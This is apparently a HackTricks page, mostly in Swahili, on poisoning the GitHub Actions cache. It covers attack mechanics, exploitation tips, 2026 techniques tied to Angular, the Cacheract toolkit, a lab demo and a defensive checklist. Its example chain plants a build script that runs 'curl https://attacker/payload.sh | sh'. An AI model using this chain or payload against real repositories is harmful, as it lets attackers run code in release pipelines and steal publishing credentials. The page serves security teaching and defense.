GH Actions - Cache Poisoning

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

Muhtasari

Cache ya GitHub Actions ni ya kimataifa kwa repository. Kila workflow inayojua cache key (au restore-keys) inaweza kujaza rekodi hiyo, hata kama job ina tu permissions: contents: read. GitHub haigawanyishi caches kwa workflow, aina ya event, au kiwango cha uaminifu, hivyo mshambuliaji ambaye ataathiri job yenye ruhusa ndogo anaweza poison cache ambayo job ya release yenye ruhusa itarestore baadaye. Hivi ndivyo uvunjaji wa Ultralytics ulivyopinduka kutoka workflow ya pull_request_target hadi pipeline ya kuchapisha PyPI.

Vichocheo vya shambulio

  • actions/cache inatoa both restore na save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Kitoa cha save kinaruhusiwa kwa job yoyote isipokuwa workflows za kweli zisizoaminika za pull_request zinazochochewa kutoka forks.
  • Rekodi za cache zinatambulika kwa key pekee. restore-keys pana hufanya iwe rahisi kuingiza payloads kwa sababu mshambuliaji anahitaji tu kugongana na prefix.
  • Cache keys na versions ni thamani zilizobainishwa na client; service ya cache haisahihishi kuwa key/version inalingana na workflow iliyothibitishwa au cache path.
  • Cache server URL + runtime token ni muda mrefu ikilinganishwa na workflow (kihistoria ~6 hours, sasa ~90 minutes) na haiwezi kuzirudishwa na mtumiaji. Kuanzia mwishoni mwa 2024 GitHub inazuia cache writes baada ya job iliyoanzisha kukamilika, hivyo washambuliaji lazima waandike wakati job bado inaendelea au pre-poison future keys.
  • Filesystem iliyohifadhiwa kwenye cache inarejeshwa verbatim. Ikiwa cache ina scripts au binaries zinazotekelezwa baadaye, mshambuliaji anadhibiti njia hiyo ya utekelezaji.
  • Faili la cache lenyewe halithibitishwi wakati wa restore; ni zstd-compressed archive tu, hivyo poisoned entry inaweza kuandika juu scripts, package.json, au faili nyingine chini ya restore path.

Example exploitation chain

Workflow ya Author (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Workflow yenye ruhusa ilirejeshwa na ikatekeleza cache iliyopoiswa:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Kazi ya pili sasa inaendesha code inayodhibitiwa na mshambuliaji huku ikishikilia release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

Poisoning mechanics

GitHub Actions cache entries kwa kawaida huwa zstd-compressed tar archives. Unaweza kutengeneza moja kwenye mashine yako kisha kuipakia kwenye cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action itatoa archive kama ilivyo. Ikiwa njia ya cache ina scripts au faili za config ambazo zinatumiwa baadaye (build tooling, action.yml, package.json, nk.), unaweza kuandika upya faili hizo ili kupata utekelezaji.

Vidokezo vya matumizi ya vitendo

  • Lenga workflows zinazochochewa na pull_request_target, issue_comment, au amri za bot ambazo bado zinaweka caches; GitHub inaziwezesha kuandika juu ya repository-wide keys hata wakati runner ana haki ya kusoma tu kwenye repo.
  • Tafuta deterministic cache keys zinazotumika tena kwa mipaka ya uaminifu (kwa mfano, pip-${{ hashFiles('poetry.lock') }}) au restore-keys zenye kuruhusu, kisha weka tarball yako ya uharibifu kabla workflow yenye hadhi inaendesha.
  • Fuatilia logs kwa ajili ya entry za Cache saved au ongeza hatua yako ya kuhifadhi cache ili kazi ya release inayofuata irejeshe payload na itekeleze scripts au binaries zilizotrojaniwa.

Mbinu mpya zilizoshuhudiwa katika mnyororo wa Angular (2026)

  • Cache v2 “prefix hit” behavior: Katika Cache v2, exact misses zinaweza bado kurejesha entry nyingine inayoshiriki prefix ya key (effectively “all keys are restore keys”). Wadukuzi wanaweza kuandaa pre-seed near-collision keys hivyo miss ya baadaye inarudi kwenye poisoned object.
  • Forced eviction in one run: Tangu November 20, 2025, GitHub inaevict entries mara moja wakati repository cache usage inapozidi kikomo (10 GB kwa default). Mdukuzi anaweza kupakia data taka ya cache kwanza, kuondoa entries halali wakati huo huo wa job hiyo, kisha kuandika malicious cache key bila kusubiri mzunguko wa kusafisha wa kila siku.
  • setup-node cache pivots via reusable actions: Reusable/internal actions ambazo zinazuzia actions/setup-node na cache-dependency-path zinaweza kuunganisha kimya kimya workflows za uaminifu mdogo na uaminifu mkubwa. Ikiwa paths zote mbili zina hash kwa shared keys, ku-poison dependency cache kunaweza kusababisha utekelezaji katika automation yenye hadhi (kwa mfano Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: Katika kesi ya Angular, cache poisoning ilifunua bot PAT, ambayo baadaye ilitumiwa ku-force-push bot-owned PR heads baada ya approval. Ikiwa sheria za approval-reset zinatoa msamaha kwa wahusika wa bot, hili linawezesha kubadilisha commits zilizopitiwa kwa zile zenye madhara (kwa mfano imposter action SHAs) kabla ya merge.

##å Cacheract

Cacheract ni toolkit inalenga PoC kwa ajili ya GitHub Actions cache poisoning katika majaribio yaliyoruhusiwa. Thamani ya vitendo ni kwamba inatautomate sehemu nyeti ambazo ni rahisi kukosea kwa mikono:

  • Gundua na tumia muktadha wa runtime wa cache kutoka kwa runner (ACTIONS_RUNTIME_TOKEN na cache service URL).
  • Orodhesha na lenga candidate cache keys/versions zinazotumika na workflows za downstream.
  • Lazimisha eviction kwa kujaza cache quota kupita kiasi (inapofaa) na kisha kuandika entries zinazodhibitiwa na mdukuzi katika run ileile.
  • Panda maudhui ya cache yaliyopoisona ili workflows za baadaye zirejeshe na zitekeleze tooling iliyobadilishwa.

Hii ni hasa muhimu katika mazingira ya Cache v2 ambapo timing na tabia za key/version zina umuhimu mkubwa kuliko katika utekelezaji za awali za cache.

Demo

Tumia hii tu katika repositories unazomiliki au umepewa ruhusa wazi za kuzitesta.

1. Workflow iliyo hatarini (chocheo kisichoaminika kinaweza kuhifadhi cache)

Workflow hii inaiga anti-pattern ya pull_request_target: inaandika maudhui ya cache kutoka kwa muktadha unaodhibitiwa na mdukuzi na kuihifadhi chini ya key deterministic.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Workflow yenye ruhusa (restores and executes cached binary/script)

Workflow hii inarejesha key ile ile na inatekeleza toolchain/bin/build huku ikibeba dummy secret. Ikiwa poisoned, execution path inakuwa chini ya udhibiti wa attacker.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Endesha maabara

  • Ongeza faili thabiti toolchain.lock ili workflows zote mbili zitambue cache key ile ile.
  • Sababisha untrusted-cache-writer kutoka kwenye PR ya mtihani.
  • Sababisha privileged-consumer kupitia workflow_dispatch.
  • Thibitisha POISONED_BUILD_PATH inaonekana kwenye logs na /tmp/cache-poisoning-demo.txt imeundwa.

4. Kile hiki kinaonyesha kiufundi

  • Kuvunjika kwa uaminifu wa cache kati ya workflows: Workflows za writer na consumer hazishiriki kiwango cha uaminifu, lakini zinashiriki cache namespace.
  • Execution-on-restore risk: Hakuna uthibitisho wa uadilifu unaofanywa kabla ya kuendesha script/binary iliyorejeshwa.
  • Deterministic key abuse: Ikiwa job yenye high-trust inatumia predictable keys, job yenye low-trust inaweza kuweka maudhui ya kuharibu mapema.

5. Orodha ya ukaguzi wa ulinzi

  • Gawanya keys kwa trust boundary (pr-, ci-, release-) na epuka shared prefixes.
  • Zima cache writes katika untrusted workflows.
  • Fanya hash/verify ya restored executable content kabla ya kuitekeleza.
  • Epuka kuendesha tools moja kwa moja kutoka cache paths.

Marejeo

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks